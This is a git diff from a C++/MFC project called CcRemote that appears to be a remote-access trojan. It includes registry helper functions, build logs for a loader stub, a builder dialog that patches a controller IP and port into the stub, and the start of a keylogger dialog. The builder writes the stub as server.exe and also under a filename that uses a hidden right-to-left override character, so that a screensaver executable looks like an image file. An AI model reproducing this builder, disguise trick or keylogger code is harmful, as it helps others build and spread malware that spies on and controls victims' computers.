//<2F><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD> 1-<2D><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD> 2-<2D><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D>жϸü<CFB8><C3BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>)
|
||||
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode)
|
||||
{
|
||||
HKEY hKey;
|
||||
int ValueDWORD,iResult=0;
|
||||
char* PointStr;
|
||||
char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH];
|
||||
DWORD szSize,KnSize,dwIndex=0;
|
||||
|
||||
memset(KeyName,0,sizeof(KeyName));
|
||||
memset(ValueSz,0,sizeof(ValueSz));
|
||||
memset(ValueTemp,0,sizeof(ValueTemp));
|
||||
|
||||
__try
|
||||
{
|
||||
// SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS);
|
||||
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS)
|
||||
{
|
||||
iResult = -1;
|
||||
__leave;
|
||||
}
|
||||
switch(Mode)
|
||||
{
|
||||
case 0:
|
||||
switch(Type)
|
||||
{
|
||||
case REG_SZ:
|
||||
case REG_EXPAND_SZ:
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
|
||||
{
|
||||
strcpy(szData,DelSpace(ValueSz));
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case REG_MULTI_SZ:
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
|
||||
{
|
||||
for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1)
|
||||
{
|
||||
|
||||
strncat(ValueTemp,PointStr,sizeof(ValueTemp));
|
||||
strncat(ValueTemp," ",sizeof(ValueTemp));
|
||||
}
|
||||
strcpy(szData,ValueTemp);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case REG_DWORD:
|
||||
szSize = sizeof(DWORD);
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS)
|
||||
{
|
||||
wsprintf(szData,"%d",ValueDWORD);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case REG_BINARY:
|
||||
szSize = lbSize;
|
||||
if(RegQueryValueEx(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 1:
|
||||
while(1)
|
||||
{
|
||||
memset(ValueSz,0,sizeof(ValueSz));
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegEnumKeyEx(hKey,dwIndex++,ValueSz,&szSize,NULL,NULL,NULL,NULL) != ERROR_SUCCESS)
|
||||
break;
|
||||
wsprintf(ValueTemp,"[%s]\r\n",ValueSz);
|
||||
strcat(szData,ValueTemp);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
while(1)
|
||||
{
|
||||
memset(KeyName,0,sizeof(KeyName));
|
||||
memset(ValueSz,0,sizeof(ValueSz));
|
||||
memset(ValueTemp,0,sizeof(ValueTemp));
|
||||
KnSize = sizeof(KeyName);
|
||||
szSize = sizeof(ValueSz);
|
||||
if(RegEnumValue(hKey,dwIndex++,KeyName,&KnSize,NULL,&Type,(LPBYTE)ValueSz,&szSize) != ERROR_SUCCESS)
|
||||
break;
|
||||
switch(Type)
|
||||
{
|
||||
case REG_SZ:
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz);
|
||||
break;
|
||||
case REG_EXPAND_SZ:
|
||||
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz);
|
||||
break;
|
||||
case REG_DWORD:
|
||||
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz));
|
||||
break;
|
||||
case REG_MULTI_SZ:
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ");
|
||||
break;
|
||||
case REG_BINARY:
|
||||
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_BINARY");
|
||||
break;
|
||||
}
|
||||
lstrcat(szData,ValueTemp);
|
||||
iResult =1;
|
||||
}
|
||||
break;
|
||||
case 3:
|
||||
iResult =1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
__finally
|
||||
{
|
||||
RegCloseKey(MainKey);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
return iResult;
|
||||
}
|
||||
//дע<D0B4><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1-<2D><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD><EFBFBD> 2-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD> 3-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
||||
int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode)
|
||||
{
|
||||
HKEY hKey;
|
||||
DWORD dwDisposition;
|
||||
int iResult =0;
|
||||
|
||||
__try
|
||||
{
|
||||
// SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);
|
||||
switch(Mode)
|
||||
{
|
||||
case 0:
|
||||
if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
case 1:
|
||||
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
switch(Type)
|
||||
{
|
||||
case REG_SZ:
|
||||
case REG_EXPAND_SZ:
|
||||
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
case REG_DWORD:
|
||||
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
case REG_BINARY:
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
case 3:
|
||||
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
|
||||
__leave;
|
||||
if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)
|
||||
iResult =1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
__finally
|
||||
{
|
||||
RegCloseKey(MainKey);
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
return iResult;
|
||||
}
|
2
CcMainDll/Loder/Release/Loder.Build.CppClean.log
Normal file
@@ -0,0 +1,2 @@
|
||||
f:\myapp\ccremote\ccmaindll\loder\release\loder.res
|
||||
f:\myapp\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe
|
30
CcMainDll/Loder/Release/Loder.log
Normal file
@@ -0,0 +1,30 @@
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
Loder.cpp
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(247): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(286): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(288): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(293): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(298): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
正在生成代码
|
||||
All 12 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
Loder.vcxproj -> F:\myapp\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe
|
BIN
CcMainDll/Loder/Release/Loder.res
Normal file
2
CcMainDll/Loder/Release/Loder.tlog/Loder.lastbuildstate
Normal file
@@ -0,0 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|F:\myapp\CcRemote\CcMainDll\|
|
BIN
CcMainDll/Loder/icon1.ico
Normal file
After Width: | Height: | Size: 359 KiB |
17
CcMainDll/Loder/resource.h
Normal file
@@ -0,0 +1,17 @@
|
||||
//{{NO_DEPENDENCIES}}
|
||||
// Microsoft Visual C++ <20><><EFBFBD>ɵİ<C9B5><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
// <20><> Loder.rc ʹ<><CAB9>
|
||||
//
|
||||
#define IDR_DLL1 101
|
||||
#define IDI_ICON1 102
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 103
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
#endif
|
||||
#endif
|
@@ -1,14 +1,14 @@
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\vc141.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.obj
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.exe
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.ipdb
|
||||
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.iobj
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\..\bin\server\testloaddll.exe\testloaddll.exe
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\testloaddll.write.1u.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.obj
|
||||
f:\myapp\ccremote\bin\server\testloaddll.exe
|
||||
f:\myapp\ccremote\bin\server\testloaddll.pdb
|
||||
f:\myapp\ccremote\bin\server\testloaddll.ipdb
|
||||
f:\myapp\ccremote\bin\server\testloaddll.iobj
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\testloaddll.write.1u.tlog
|
||||
|
198
CcRemote/CcRemote/CBuildDlg.cpp
Normal file
@@ -0,0 +1,198 @@
|
||||
// CBuildDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "pch.h"
|
||||
#include "CcRemote.h"
|
||||
#include "CBuildDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include <io.h>
|
||||
|
||||
|
||||
struct Connect_Address
|
||||
{
|
||||
DWORD dwstact;
|
||||
char strIP[MAX_PATH];
|
||||
int nPort;
|
||||
}g_myAddress = { 0xCC28256,"",0 };
|
||||
// CBuildDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
||||
|
||||
CBuildDlg::CBuildDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialog(IDD_DIALOG_BUILD, pParent)
|
||||
, m_strIP(_T(""))
|
||||
, m_strPort(_T(""))
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CBuildDlg::~CBuildDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
|
||||
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
|
||||
ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CBuildDlg 消息处理程序
|
||||
|
||||
|
||||
bool CreateMyFile(const WCHAR* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
|
||||
{
|
||||
DWORD dwWritten;
|
||||
|
||||
HANDLE hFile = CreateFileW(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
||||
if (hFile != NULL)
|
||||
{
|
||||
WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL);
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
void CBuildDlg::OnBnClickedOk()
|
||||
{
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
CFile file;
|
||||
char strTemp[MAX_PATH];
|
||||
WCHAR strTempW[MAX_PATH];
|
||||
ZeroMemory(strTemp, MAX_PATH);
|
||||
CString strCurrentPath;
|
||||
CStringW strCurrentPathW;
|
||||
CString strFile;
|
||||
CString strSeverFile;
|
||||
CString strCamouflageFile;
|
||||
BYTE *lpBuffer = NULL;
|
||||
BYTE names[] = {0x73,0x00,0x65,0x00,0x78,0x00,0x2E,0x20,0x67,0x00,0x6E,0x00,0x70,0x00,0x2E,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x00,0x00 };
|
||||
PWCHAR namess = (PWCHAR)names;
|
||||
|
||||
|
||||
DWORD dwFileSize;
|
||||
UpdateData(TRUE);
|
||||
//////////上线信息//////////////////////
|
||||
strcpy(g_myAddress.strIP, m_strIP);
|
||||
g_myAddress.nPort = atoi(m_strPort);
|
||||
try
|
||||
{
|
||||
//此处得到未处理前的文件名
|
||||
GetModuleFileName(NULL, strTemp, MAX_PATH); //得到文件名
|
||||
GetModuleFileNameW(NULL, strTempW, MAX_PATH); //得到文件名
|
||||
|
||||
strCurrentPathW = strTempW;
|
||||
|
||||
strCurrentPathW = strCurrentPathW.Left(strCurrentPathW.ReverseFind('\\'));
|
||||
|
||||
strCurrentPath = strTemp;
|
||||
int nPos = strCurrentPath.ReverseFind('\\');
|
||||
strCurrentPath = strCurrentPath.Left(nPos);
|
||||
strFile = strCurrentPath + "\\server\\loder.exe"; //得到当前未处理文件名
|
||||
//打开文件
|
||||
file.Open(strFile, CFile::modeRead | CFile::typeBinary);
|
||||
dwFileSize = file.GetLength();
|
||||
lpBuffer = new BYTE[dwFileSize];
|
||||
ZeroMemory(lpBuffer, dwFileSize);
|
||||
//读取文件内容
|
||||
file.Read(lpBuffer, dwFileSize);
|
||||
file.Close();
|
||||
//写入上线IP和端口 主要是寻找0x这个标识然后写入这个位置
|
||||
int nOffset = memfind((char*)lpBuffer, (char*)&g_myAddress.dwstact, dwFileSize, sizeof(DWORD));
|
||||
memcpy(lpBuffer + nOffset, &g_myAddress, sizeof(Connect_Address));
|
||||
//strCamouflageFile = FindFiles("F:\\myapp\\CcRemote\\bin\\server\\", lpBuffer, dwFileSize);
|
||||
//if (strCamouflageFile != "null")
|
||||
//{
|
||||
// int a = file.Open(strCamouflageFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
|
||||
// file.Write(lpBuffer, dwFileSize);
|
||||
// file.Close();
|
||||
//}
|
||||
//else
|
||||
//{
|
||||
//保存到文件
|
||||
strSeverFile = strCurrentPath+"\\server.exe";
|
||||
|
||||
strCurrentPathW = strCurrentPathW + L"\\" + namess;
|
||||
CreateMyFile(strCurrentPathW, lpBuffer, dwFileSize);
|
||||
file.Open(strSeverFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
|
||||
file.Write(lpBuffer, dwFileSize);
|
||||
file.Close();
|
||||
//}
|
||||
|
||||
delete[] lpBuffer;
|
||||
MessageBox("生成成功");
|
||||
|
||||
}
|
||||
catch (CMemoryException* e)
|
||||
{
|
||||
MessageBox("内存不足");
|
||||
}
|
||||
catch (CFileException* e)
|
||||
{
|
||||
MessageBox("文件操作错误");
|
||||
}
|
||||
catch (CException* e)
|
||||
{
|
||||
MessageBox("未知错误");
|
||||
}
|
||||
CDialog::OnOK();
|
||||
}
|
||||
|
||||
|
||||
int CBuildDlg::memfind(const char *mem, const char *str, int sizem, int sizes)
|
||||
{
|
||||
int da, i, j;
|
||||
if (sizes == 0) da = strlen(str);
|
||||
else da = sizes;
|
||||
for (i = 0; i < sizem; i++)
|
||||
{
|
||||
for (j = 0; j < da; j++)
|
||||
if (mem[i + j] != str[j]) break;
|
||||
if (j == da) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
CString CBuildDlg::FindFiles(const char* dir, BYTE *lpBuffer,DWORD lpSize)
|
||||
{
|
||||
HANDLE h; // 文件句柄
|
||||
WIN32_FIND_DATA findData; // 查找到的文件信息结构
|
||||
char dirTmp[MAX_PATH] = { 0 };
|
||||
strcpy(dirTmp, dir);
|
||||
strcat(dirTmp, "*.scr"); // 使用通配符,和传入参数组成一个待遍历的路径
|
||||
DWORD sizes;
|
||||
|
||||
CString fileList; //此处用string就会使存入值变为乱码,所以用CString
|
||||
h = FindFirstFileA(dirTmp, &findData); //开始遍历
|
||||
do {
|
||||
if (findData.dwFileAttributes&_A_SUBDIR || findData.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY || strcmp(findData.cFileName, ".") == 0 || strcmp(findData.cFileName, "..") == 0)
|
||||
{
|
||||
//log(INFO,"是目录,目录名:%s",findData.cFileName);
|
||||
}
|
||||
else
|
||||
{
|
||||
WriteFile(h, lpBuffer, lpSize,&sizes, NULL);
|
||||
FindClose(h);
|
||||
fileList=(findData.cFileName); // 绝对路径存入vector(其实就是一个数组)
|
||||
return "F:\\myapp\\CcRemote\\bin\\server\\" + fileList;
|
||||
}
|
||||
} while (FindNextFileA(h, &findData));
|
||||
|
||||
CString a = "null";
|
||||
|
||||
FindClose(h);
|
||||
return a;
|
||||
}
|
||||
|
31
CcRemote/CcRemote/CBuildDlg.h
Normal file
@@ -0,0 +1,31 @@
|
||||
#pragma once
|
||||
|
||||
|
||||
// CBuildDlg 对话框
|
||||
|
||||
class CBuildDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CBuildDlg)
|
||||
|
||||
public:
|
||||
CBuildDlg(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CBuildDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_DIALOG_BUILD };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
afx_msg void OnBnClickedOk();
|
||||
// IP变量
|
||||
CString m_strIP;
|
||||
// 端口变量
|
||||
CString m_strPort;
|
||||
private:
|
||||
int memfind(const char *mem, const char *str, int sizem, int sizes);
|
||||
CString FindFiles(const char* dir, BYTE *lpBuffer, DWORD lpSize);
|
||||
};
|
44
CcRemote/CcRemote/CHelpWindow.cpp
Normal file
@@ -0,0 +1,44 @@
|
||||
// CHelpWindow.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "pch.h"
|
||||
#include "CcRemote.h"
|
||||
#include "CHelpWindow.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
// CHelpWindow 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CHelpWindow, CDialogEx)
|
||||
|
||||
CHelpWindow::CHelpWindow(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogEx(IDD_DIALOG_HELP, pParent)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CHelpWindow::~CHelpWindow()
|
||||
{
|
||||
}
|
||||
|
||||
void CHelpWindow::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogEx::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_STATIC_HELP, m_PicHelp);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CHelpWindow, CDialogEx)
|
||||
ON_STN_CLICKED(IDC_STATIC_HELP, &CHelpWindow::OnStnClickedStaticHelp)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CHelpWindow 消息处理程序
|
||||
|
||||
|
||||
|
||||
void CHelpWindow::OnStnClickedStaticHelp()
|
||||
{
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
ShellExecute(NULL, "open", "explorer.exe", "https://github.com/Cc28256/CcRemote", NULL, SW_SHOW);
|
||||
}
|
26
CcRemote/CcRemote/CHelpWindow.h
Normal file
@@ -0,0 +1,26 @@
|
||||
#pragma once
|
||||
|
||||
|
||||
// CHelpWindow 对话框
|
||||
|
||||
class CHelpWindow : public CDialogEx
|
||||
{
|
||||
DECLARE_DYNAMIC(CHelpWindow)
|
||||
|
||||
public:
|
||||
CHelpWindow(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CHelpWindow();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_DIALOG_HELP };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CStatic m_PicHelp;
|
||||
afx_msg void OnStnClickedStaticHelp();
|
||||
};
|
234
CcRemote/CcRemote/CKeyBoardDlg.cpp
Normal file
@@ -0,0 +1,234 @@
|
||||
// CKeyBoardDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "pch.h"
|
||||
#include "CcRemote.h"
|
||||
#include "CKeyBoardDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "..\..\common\macros.h"
|
||||
|
||||
|
||||
#define IDM_ENABLE_OFFLINE 0x0010
|
||||
#define IDM_CLEAR_RECORD 0x0011
|
||||
#define IDM_SAVE_RECORD 0x0012
|
||||
// CKeyBoardDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CKeyBoardDlg, CDialog)
|
||||
|
||||
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||||
: CDialog(IDD_KEYBOARD, pParent)
|
||||
{
|
||||
m_iocpServer = pIOCPServer;
|
||||
m_pContext = pContext;
|
||||
sockaddr_in sockAddr;
|
||||
memset(&sockAddr, 0, sizeof(sockAddr));
|
||||
int nSockAddrLen = sizeof(sockAddr);
|
||||
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||||
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
|
||||
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_KEYBOARD));
|
||||
m_bIsOfflineRecord = (BYTE)m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1];
|
||||
}
|
||||
|
||||
CKeyBoardDlg::~CKeyBoardDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT, m_edit);
|
||||
}
|
||||
|
||||
|
||||
